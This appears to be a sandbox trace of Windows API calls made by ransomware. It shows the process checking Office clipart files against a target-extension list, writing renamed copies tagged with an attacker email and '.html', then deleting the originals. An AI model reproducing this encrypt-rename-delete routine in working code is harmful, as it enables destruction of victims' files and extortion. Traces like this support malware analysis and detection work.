	[0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.356] lstrlenW (lpString=".doc") returned 4
	[0189.356] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString=".docx") returned 5
	[0189.356] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0189.356] lstrlenW (lpString=".pdf") returned 4
	[0189.356] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString=".xls") returned 4
	[0189.356] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0189.357] lstrlenW (lpString=".xlsx") returned 5
	[0189.357] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0189.357] lstrlenW (lpString=".ppt") returned 4
	[0189.357] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.357] lstrlenW (lpString=".zip") returned 4
	[0189.357] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0189.357] lstrlenW (lpString=".rar") returned 4
	[0189.357] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0189.357] lstrlenW (lpString=".bz2") returned 4
	[0189.357] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0189.357] lstrlenW (lpString=".7z") returned 3
	[0189.357] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.357] lstrlenW (lpString=".dbf") returned 4
	[0189.357] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.357] lstrlenW (lpString=".1cd") returned 4
	[0189.357] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.357] lstrlenW (lpString=".jpg") returned 4
	[0189.357] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0189.357] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.357] lstrlenW (lpString="J0103058.WMF") returned 12
	[0189.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0189.358] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=17344) returned 1
	[0189.358] CloseHandle (hObject=0x574) returned 1
	[0189.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220
	[0189.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0189.359] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.359] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.360] GetLastError () returned 0x0
	[0189.360] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x43c0, lpOverlapped=0x0) returned 1
	[0189.362] WriteFile (in: hFile=0x5ac, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x43d0, lpOverlapped=0x0) returned 1
	[0189.363] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.364] WriteFile (in: hFile=0x5ac, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.364] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.364] CloseHandle (hObject=0x5ac) returned 1
	[0189.364] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.364] SetEndOfFile (hFile=0x574) returned 1
	[0189.367] CloseHandle (hObject=0x574) returned 1
	[0189.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1
	[0189.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.368] lstrlenW (lpString=".doc") returned 4
	[0189.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.368] lstrlenW (lpString=".docx") returned 5
	[0189.368] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0189.368] lstrlenW (lpString=".pdf") returned 4
	[0189.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.368] lstrlenW (lpString=".xls") returned 4
	[0189.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.368] lstrlenW (lpString=".xlsx") returned 5
	[0189.369] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0189.369] lstrlenW (lpString=".ppt") returned 4
	[0189.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.369] lstrlenW (lpString=".zip") returned 4
	[0189.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.369] lstrlenW (lpString=".rar") returned 4
	[0189.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString=".bz2") returned 4
	[0189.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString=".7z") returned 3
	[0189.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.369] lstrlenW (lpString=".dbf") returned 4
	[0189.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.369] lstrlenW (lpString=".1cd") returned 4
	[0189.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.369] lstrlenW (lpString=".jpg") returned 4
	[0189.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.369] lstrlenW (lpString=".doc") returned 4
	[0189.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString=".docx") returned 5
	[0189.369] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0189.369] lstrlenW (lpString=".pdf") returned 4
	[0189.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.369] lstrlenW (lpString=".xls") returned 4
	[0189.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.370] lstrlenW (lpString=".xlsx") returned 5
	[0189.370] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0189.370] lstrlenW (lpString=".ppt") returned 4
	[0189.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.370] lstrlenW (lpString=".zip") returned 4
	[0189.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.370] lstrlenW (lpString=".rar") returned 4
	[0189.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.370] lstrlenW (lpString=".bz2") returned 4
	[0189.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.370] lstrlenW (lpString=".7z") returned 3
	[0189.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.370] lstrlenW (lpString=".dbf") returned 4
	[0189.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.370] lstrlenW (lpString=".1cd") returned 4
	[0189.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0189.370] lstrlenW (lpString=".jpg") returned 4
	[0189.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.370] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.371] lstrlenW (lpString="J0103262.WMF") returned 12
	[0189.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0189.371] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=12900) returned 1
	[0189.371] CloseHandle (hObject=0x574) returned 1
	[0189.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220
	[0189.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0189.372] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.372] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.373] GetLastError () returned 0x0
	[0189.373] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3264, lpOverlapped=0x0) returned 1
	[0189.375] WriteFile (in: hFile=0x5ac, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3270, lpOverlapped=0x0) returned 1
	[0189.376] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.376] WriteFile (in: hFile=0x5ac, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.376] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.377] CloseHandle (hObject=0x5ac) returned 1
	[0189.377] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.377] SetEndOfFile (hFile=0x574) returned 1
	[0189.380] CloseHandle (hObject=0x574) returned 1
	[0189.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1
	[0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.381] lstrlenW (lpString=".doc") returned 4
	[0189.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.381] lstrlenW (lpString=".docx") returned 5
	[0189.381] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0189.381] lstrlenW (lpString=".pdf") returned 4
	[0189.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.381] lstrlenW (lpString=".xls") returned 4
	[0189.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.381] lstrlenW (lpString=".xlsx") returned 5
	[0189.381] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0189.381] lstrlenW (lpString=".ppt") returned 4
	[0189.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.381] lstrlenW (lpString=".zip") returned 4
	[0189.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.381] lstrlenW (lpString=".rar") returned 4
	[0189.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.381] lstrlenW (lpString=".bz2") returned 4
	[0189.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString=".7z") returned 3
	[0189.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.382] lstrlenW (lpString=".dbf") returned 4
	[0189.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.382] lstrlenW (lpString=".1cd") returned 4
	[0189.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.382] lstrlenW (lpString=".jpg") returned 4
	[0189.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.382] lstrlenW (lpString=".doc") returned 4
	[0189.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString=".docx") returned 5
	[0189.382] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0189.382] lstrlenW (lpString=".pdf") returned 4
	[0189.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString=".xls") returned 4
	[0189.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.382] lstrlenW (lpString=".xlsx") returned 5
	[0189.382] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0189.382] lstrlenW (lpString=".ppt") returned 4
	[0189.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.382] lstrlenW (lpString=".zip") returned 4
	[0189.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.382] lstrlenW (lpString=".rar") returned 4
	[0189.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.383] lstrlenW (lpString=".bz2") returned 4
	[0189.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.383] lstrlenW (lpString=".7z") returned 3
	[0189.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.383] lstrlenW (lpString=".dbf") returned 4
	[0189.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.383] lstrlenW (lpString=".1cd") returned 4
	[0189.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0189.383] lstrlenW (lpString=".jpg") returned 4
	[0189.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.383] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.383] lstrlenW (lpString="J0103402.WMF") returned 12
	[0189.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0189.384] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=44948) returned 1
	[0189.384] CloseHandle (hObject=0x574) returned 1
	[0189.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220
	[0189.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0189.385] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.385] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.386] GetLastError () returned 0x0
	[0189.386] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xaf94, lpOverlapped=0x0) returned 1
	[0189.389] WriteFile (in: hFile=0x5ac, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xafa0, lpOverlapped=0x0) returned 1
	[0189.481] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.481] WriteFile (in: hFile=0x5ac, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.481] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.481] CloseHandle (hObject=0x5ac) returned 1
	[0189.481] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.481] SetEndOfFile (hFile=0x574) returned 1
	[0189.485] CloseHandle (hObject=0x574) returned 1
	[0189.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1
	[0190.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.413] lstrlenW (lpString=".doc") returned 4
	[0190.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.413] lstrlenW (lpString=".docx") returned 5
	[0190.413] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.413] lstrlenW (lpString=".pdf") returned 4
	[0190.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.413] lstrlenW (lpString=".xls") returned 4
	[0190.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.413] lstrlenW (lpString=".xlsx") returned 5
	[0190.413] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.413] lstrlenW (lpString=".ppt") returned 4
	[0190.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.414] lstrlenW (lpString=".zip") returned 4
	[0190.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.414] lstrlenW (lpString=".rar") returned 4
	[0190.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString=".bz2") returned 4
	[0190.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString=".7z") returned 3
	[0190.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.414] lstrlenW (lpString=".dbf") returned 4
	[0190.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.414] lstrlenW (lpString=".1cd") returned 4
	[0190.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0190.414] lstrlenW (lpString=".jpg") returned 4
	[0190.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
